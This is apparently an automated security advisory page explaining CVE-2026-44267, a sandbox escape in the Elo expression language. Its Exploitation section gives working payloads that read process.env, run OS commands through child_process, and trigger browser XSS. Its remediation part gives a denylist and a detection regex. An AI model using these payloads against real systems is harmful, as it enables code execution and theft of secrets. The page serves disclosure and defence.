CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-44267

CVE-2026-44267: Sandbox Escape and Arbitrary Code Execution in Elo Expression Language

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 3, 2026·9 min read·5 visits

Executive Summary (TL;DR)

Elo versions prior to 1.0.1 fail to block JavaScript prototype reflection properties such as .constructor during AST-to-IR transformation. Attackers can supply crafted expression strings like ({}).constructor.constructor('return process')() to escape the functional sandbox and achieve arbitrary code execution in Node.js or Cross-Site Scripting (XSS) in browser environments.

CVE-2026-44267 is a sandbox escape and code injection vulnerability in @enspirit/elo prior to version 1.0.1. Due to unrestricted member access transformation in the compiler pipeline, plain Elo expression strings can traverse JavaScript object prototypes via .constructor.constructor to access the host runtime Function constructor. This allows attackers supplying untrusted Elo expressions to execute arbitrary JavaScript in Node.js server environments or client browser contexts.

Vulnerability Overview

Elo (@enspirit/elo) is an embeddable, purely functional expression language designed for no-code and low-code platforms, data transformation pipelines, and workflow automation engines. Its architecture aims to provide a secure evaluation sandbox by disallowing loops, unbounded recursion, and direct input/output operations. When evaluating user expressions, Elo parses the input string into an Abstract Syntax Tree (AST), transforms the AST into an Intermediate Representation (IR), and compiles the IR into executable target code, primarily JavaScript.

Prior to version 1.0.1, the JavaScript compilation pipeline in Elo contained a protection mechanism failure (CWE-693) leading to code injection (CWE-94) and Cross-Site Scripting (CWE-79). Specifically, the AST transformation layer failed to filter or reject JavaScript meta-properties during member access operations. When an Elo expression accessed properties on object literals, array literals, or dynamically typed variables, the compiler emitted direct JavaScript dot-notation property lookups without verifying if the property name referenced internal JavaScript runtime structures.

This flaw exposes a critical attack surface across any application that parses and executes untrusted Elo expressions using defaultFormats.elo.parse(), the bin/elo command-line interface, or browser-based evaluation tools such as the online Elo playground (elo-lang.org/try). By chaining .constructor.constructor on standard Elo data types, an unauthenticated attacker can traverse the JavaScript prototype chain to reach the global Function constructor.

Once the Function constructor is reached, the attacker can compile and invoke arbitrary JavaScript functions outside the restrictions of the Elo language specification. In server-side Node.js deployments, this permits full access to the process global and native modules like child_process, resulting in remote operating system command execution. In client-side browser deployments, it enables arbitrary script execution within the origin of the host web application.

Root Cause Analysis

The root cause of CVE-2026-44267 lies in the interaction between three distinct stages of the Elo compilation pipeline: lexical parsing in src/parser.ts, Intermediate Representation (IR) transformation in src/transform.ts, and code generation in src/compilers/javascript.ts. Each component makes assumptions about property safety that allow prototype reflection identifiers to pass through into the final compiled JavaScript payload.

First, the parser defined in src/parser.ts tokenizes member access expressions (written in dot notation as receiver.property). During lexical analysis and AST construction, the parser treats JavaScript meta-property names—specifically constructor, __proto__, and prototype—as standard, valid identifier tokens. No syntactic restriction prevents these identifiers from appearing as the right-hand operand of a member access expression.

Second, the AST is passed to src/transform.ts, where the transformWithDepth function converts AST nodes into typed IR nodes. When processing a member_access node, transformWithDepth infers the type of the target object and restricts property lookups to specific Elo type categories ('any', 'object', and 'array'). This type check was designed to prevent exposure of methods on internal wrapper objects, such as Luxon DateTime or Duration instances. However, because every JavaScript object and array inherits from Object.prototype, restricting access to 'object', 'array', and 'any' still permits resolution of inherited prototype properties on those permitted types.

Third, because src/transform.ts did not validate the expr.property string against a denylist of JavaScript prototype and reflection keys, the member_access node passed directly into the IR. Subsequently, the JavaScript compiler in src/compilers/javascript.ts emitted the property lookup verbatim into the generated JavaScript code. In the V8 and browser JavaScript runtimes, accessing ({}).constructor returns the native Object constructor function, and accessing the .constructor property of that function returns the native Function constructor, which evaluates arbitrary code strings identically to eval().

Code Analysis

The vulnerability was remediated in commit 2136da1f64eec8ebf99890d3100be9394534b842 (released in version 1.0.1, commit d2a89a8db76a244eb740687524a7e8529b7554b5). The patch modifies src/transform.ts to enforce a strict denylist of JavaScript meta-properties during the AST-to-IR transformation phase.

Prior to the patch, transformWithDepth in src/transform.ts processed member_access expressions by inferring the receiver type and verifying that it belonged to ['any', 'object', 'array'], without inspecting the property name itself:

// Vulnerable code in src/transform.ts (prior to 1.0.1)
case 'member_access': {
  const objectIR = recurse(expr.object);
  const objectType = inferType(objectIR);
 
  // Only allow member access on data types (any, object, array)
  // This prevents exposing runtime internals like Luxon DateTime/Duration methods
  const allowedTypes: TypeKind[] = ['any', 'object', 'array'];
  if (!allowedTypes.includes(objectType.kind)) {
    throw new Error(
      `Cannot access member '${expr.property}' on type ${ Types.toString(objectType) }`
    );
  }
  // Proceeds to emit member_access IR node without checking expr.property
}

In the patched version, the developers introduced a FORBIDDEN_MEMBERS constant set containing seven standard JavaScript prototype and property descriptor reflection keys. Inside transformWithDepth, the code now checks FORBIDDEN_MEMBERS.has(expr.property) before evaluating type constraints:

diff --git a/src/transform.ts b/src/transform.ts
index 59c86621..4b177242 100644
--- a/src/transform.ts
+++ b/src/transform.ts
@@ -46,6 +46,16 @@ import { EloType, Types, TypeKind } from './types';
 import { eloTypeDefs } from './typedefs';
 import { parseExtractTemplate } from './extract';
 
+// Define a static denylist of JavaScript prototype and reflection properties
+const FORBIDDEN_MEMBERS: ReadonlySet<string> = new Set([
+  'constructor',
+  '__proto__',
+  'prototype',
+  '__defineGetter__',
+  '__defineSetter__',
+  '__lookupGetter__',
+  '__lookupSetter__',
+]);
+
 /**
  * Type environment: maps variable names to their inferred types
  */
@@ -145,6 +155,13 @@ function transformWithDepth(
       const objectIR = recurse(expr.object);
       const objectType = inferType(objectIR);
 
+      // Reject forbidden meta-properties before emitting IR
+      if (FORBIDDEN_MEMBERS.has(expr.property)) {
+        throw new Error(
+          `Member access '.${expr.property}' is forbidden: this name would ` +
+          `expose the host runtime and is not a valid Elo property.`
+        );
+      }
+
       // Only allow member access on data types (any, object, array)
       // This prevents exposing runtime internals like Luxon DateTime/Duration methods
       const allowedTypes: TypeKind[] = ['any', 'object', 'array'];

> [!NOTE] > Assessment of Fix Completeness: The patch blocks dot-notation access to constructor, __proto__, prototype, and legacy getter/setter reflection methods at the IR transformation layer. Because Elo's member_access syntax requires static identifier tokens parsed by src/parser.ts (and does not support arbitrary dynamic bracket-notation string concatenation for property lookups in the same pathway), blocking these static identifiers in transformWithDepth effectively neutralizes the plain-string prototype traversal vector. As noted in the official advisory, this plain-string path is distinct from programmatic AST-object injection where a caller manually constructs an AST bypassing src/parser.ts and src/transform.ts.

Exploitation

Exploiting CVE-2026-44267 requires no authentication or specialized privileges, only the ability to submit an Elo expression string that is parsed and executed by a vulnerable version of @enspirit/elo (< 1.0.1). The attacker constructs an expression that instantiates a valid Elo data type—such as an object literal, an array literal, or a lambda function parameter—and chains .constructor.constructor to invoke the JavaScript Function constructor.

In the upstream security regression test suite (test/unit/security.unit.test.ts), three primary gadget chains are documented to reach the Function constructor across different Elo type kinds:

// 1. Escape via Object Literal ('object' type kind)
({}).constructor.constructor('return process')()
 
// 2. Escape via Array Literal ('array' type kind)
[].constructor.constructor('return 1')()
 
// 3. Escape via Lambda Parameter Reflection ('any' type kind)
(fn(x ~> x.constructor.constructor('return 1')()))({})

When targeting a Node.js backend service or the bin/elo CLI runner, an attacker can pass JavaScript payloads into the Function constructor to read sensitive environment variables or execute operating system commands. For example, to extract all environment variables and secrets from the Node.js process:

({}).constructor.constructor('return process.env')()

To achieve arbitrary command execution on a Node.js host where standard CommonJS module loading is accessible via the process object:

({}).constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')()

When targeting a browser environment, such as the auto-running online playground (elo-lang.org/try) or a client-side web application evaluating Elo formulas from URL parameters or shared templates, the attacker supplies DOM manipulation payloads:

({}).constructor.constructor('alert(document.domain)')()

When compiled by src/compilers/javascript.ts and executed in the browser, this payload runs immediately within the security origin of the web application, granting read/write access to document.cookie, localStorage, session tokens, and authenticated API endpoints.

Impact Assessment

CVE-2026-44267 is rated Critical with a CVSS v3.1 base score of 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). The attack vector is Network (AV:N) with Low attack complexity (AC:L), requiring neither privileges (PR:N) nor user interaction (UI:N) when expressions are automatically evaluated by backend services or auto-running web interfaces.

In server-side Node.js environments—such as low-code workflow automation platforms, CI/CD pipelines, or data processing microservices—the vulnerability completely bypasses the functional language sandbox. Attackers gain full code execution privileges equivalent to the OS user running the Node.js process. This results in total loss of Confidentiality (C:H) through theft of environment secrets, database credentials, and source code; total loss of Integrity (I:H) via arbitrary file modification and internal network pivoting; and total loss of Availability (A:H) via process termination or resource exhaustion.

In browser-based environments, the vulnerability manifests as stored or reflected Cross-Site Scripting (XSS). If an application renders or evaluates Elo expressions shared between users (or passed via URL query parameters in playground environments), an attacker can execute arbitrary JavaScript in the victim's browser session. This permits session hijacking, credential harvesting, and unauthorized actions performed on behalf of the authenticated user.

Remediation

The primary remediation is to upgrade @enspirit/elo (or elo) to version 1.0.1 or later. Version 1.0.1 enforces the FORBIDDEN_MEMBERS denylist in src/transform.ts, causing the compiler to throw a fatal error whenever an expression attempts to access .constructor, .__proto__, .prototype, or property descriptor methods (__defineGetter__, __defineSetter__, __lookupGetter__, __lookupSetter__).

# Upgrade using npm
npm install @enspirit/elo@^1.0.1
 
# Upgrade using yarn
yarn upgrade @enspirit/elo@^1.0.1

For environments where an immediate dependency upgrade cannot be deployed, administrators and developers must implement pre-execution input validation. Before passing any untrusted string to defaultFormats.elo.parse() or the Elo CLI, inspect the raw input string and reject any expression containing dot-notation references to JavaScript prototype reflection properties:

const FORBIDDEN_PATTERN = /\.(constructor|__proto__|prototype|__defineGetter__|__defineSetter__|__lookupGetter__|__lookupSetter__)\b/;
 
if (FORBIDDEN_PATTERN.test(untrustedEloInput)) {
  throw new Error('Rejected unsafe Elo expression containing forbidden prototype properties.');
}

As a defense-in-depth measure, backend services that evaluate user-supplied expressions should not rely solely on language-level translation barriers for security isolation. Services executing compiled JavaScript should run inside isolated execution contexts (such as restricted V8 isolates, WebAssembly sandboxes, or ephemeral, unprivileged containers with read-only filesystems and restricted network egress).

Official Patches

enspiritOfficial GitHub Security Advisory GHSA-33r5-xmm8-v6x5
enspiritSecurity patch commit in src/transform.ts
enspiritRelease 1.0.1 tag commit

Fix Analysis (2)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

@enspirit/eloeloElo CLI (bin/elo)Elo Browser Playground (elo-lang.org/try)

Affected Versions Detail

Product
Affected Versions
Fixed Version
@enspirit/elo
enspirit
< 1.0.11.0.1
AttributeDetail
CVE IDCVE-2026-44267 (GHSA-33r5-xmm8-v6x5)
CWE ClassificationCWE-94 (Code Injection) / CWE-693 (Protection Mechanism Failure)
CVSS v3.1 Score9.8 CRITICAL (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Attack VectorNetwork (Untrusted Elo expression strings)
Affected Component@enspirit/elo (< 1.0.1) — src/transform.ts & src/compilers/javascript.ts
ImpactSandbox Escape to Arbitrary Node.js Code Execution or Browser XSS
Exploit StatusProof-of-Concept (PoC) publicly documented
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-94
Improper Control of Generation of Code ('Code Injection')

The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Known Exploits & Detection

GitHub Security Advisory & Upstream Regression TestsProof-of-concept payloads documented in the official advisory and test/unit/security.unit.test.ts demonstrating sandbox escape via .constructor.constructor.

Vulnerability Timeline

Elo version 1.0.0 released.
2026-03-25
Vulnerability discovered and reported to Enspirit by Atsushi Sada.
2026-04-18
Security patch committed (2136da1f64eec8ebf99890d3100be9394534b842) and released in version 1.0.1 (d2a89a8db76a244eb740687524a7e8529b7554b5).
2026-04-20
CVE-2026-44267 published by GitHub CNA.
2026-11-03

References & Sources

  • [1]GitHub Security Advisory GHSA-33r5-xmm8-v6x5
  • [2]Fix Commit: 2136da1f64eec8ebf99890d3100be9394534b842
  • [3]Release 1.0.1 Commit: d2a89a8db76a244eb740687524a7e8529b7554b5
  • [4]CVE.org Record: CVE-2026-44267
  • [5]MITRE CVE Entry: CVE-2026-44267
  • [6]Enspirit Elo GitHub Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•31 minutes ago•CVE-2026-44265
7.4

CVE-2026-44265: Code and SQL Injection via Programmatic AST Emission in @enspirit/elo

A code injection and SQL injection vulnerability exists in @enspirit/elo prior to version 1.0.1. When compiling expressions via the programmatic Abstract Syntax Tree (AST) API, the backend emitters for JavaScript, Ruby, Python, and PostgreSQL SQL fail to perform runtime type validation or lexical verification on AST node properties. Applications that construct or deserialize AST nodes from untrusted sources allow attackers to inject arbitrary code or SQL commands directly into the emitted target output.

Alon Barad
Alon Barad
1 views•9 min read
•about 2 hours ago•CVE-2026-44266
9.8

CVE-2026-44266: Remote Code Execution in @enspirit/elo Ruby Compiler Backend via Unescaped String Interpolation

CVE-2026-44266 (GHSA-7w38-ggh5-v542) is a code injection vulnerability in @enspirit/elo prior to version 1.0.1. The Ruby target compiler fails to escape the hash character (#) when emitting double-quoted Ruby string literals and subtype constraint failure labels. An attacker who supplies crafted Elo expressions to an application compiling and executing Ruby output achieves arbitrary code execution.

Alon Barad
Alon Barad
2 views•10 min read
•1 day ago•CVE-2026-62374
7.1

CVE-2026-62374: Silent Claim-Set Reduction and Verification Bypass in SD JWT JS

CVE-2026-62374 (GHSA-f9j6-8p6x-r9j6) is a verification bypass vulnerability in the OpenWallet Foundation SD JWT JS library (@sd-jwt/core and @sd-jwt/decode versions 0.19.0 and earlier). Due to permissive UTF-8 decoding and the omission of mandatory reference checks during presentation verification, tampered or unreferenced disclosures are silently dropped rather than rejected. This deviates from RFC 9901 §7.1 requirements and allows attackers to execute silent claim-set reduction attacks against relying parties.

Alon Barad
Alon Barad
10 views•10 min read
•1 day ago•GHSA-J656-3HF2-FVJC
6.1

GHSA-j656-3hf2-fvjc: Read-Only SQL Validation Bypass via Comment Interpretation Conflict in Bytebase DBHub

An interpretation conflict in Bytebase DBHub (< 0.22.6) allows attackers to bypass read-only SQL query restrictions when connected to MySQL or MariaDB instances. Because DBHub's custom SQL tokenizer treats any '--' sequence as a comment, whereas MySQL and MariaDB require trailing whitespace or a control character, crafted queries containing '--' immediately followed by non-whitespace characters allow stacked destructive SQL statements to execute on connections configured as read-only.

Alon Barad
Alon Barad
6 views•9 min read
•3 days ago•CVE-2026-118777
4.8

CVE-2026-118777: Prototype Pollution in Forge HTTP Client Cookie Management

CVE-2026-118777 is a prototype pollution vulnerability (CWE-1321) in the Forge JavaScript cryptography and networking library (distributed on npm as node-forge) prior to version 1.4.1. The flaw resides in the forge.http client subsystem, where incoming HTTP cookie names and paths parsed from Set-Cookie response headers are stored directly into standard JavaScript objects without key validation or property isolation. By returning crafted Set-Cookie headers containing keys such as __proto__ or constructor, a malicious HTTP server can inject arbitrary properties into Object.prototype, attach attributes to the global Object constructor, or delete built-in prototype methods to cause an application-wide denial of service.

Amit Schendel
Amit Schendel
10 views•10 min read
•3 days ago•CVE-2026-118775
3.7

CVE-2026-118775: ASN.1 OID First Arc Truncation and Ambiguity in node-forge

CVE-2026-118775 (GHSA-4642-5mcj-2rqw) is an integer overflow and validation flaw in the ASN.1 serialization module of Forge (node-forge) prior to version 1.4.1. The asn1.oidToDer() function fails to validate the range of the first two arcs of an Object Identifier (OID) and truncates the packed initial subidentifier to a single 8-bit integer. Applications that perform policy checks on untrusted OID strings before encoding them into Distinguished Encoding Rules (DER) format can be tricked into emitting DER bytes that correspond to a completely different, restricted OID.

Amit Schendel
Amit Schendel
11 views•10 min read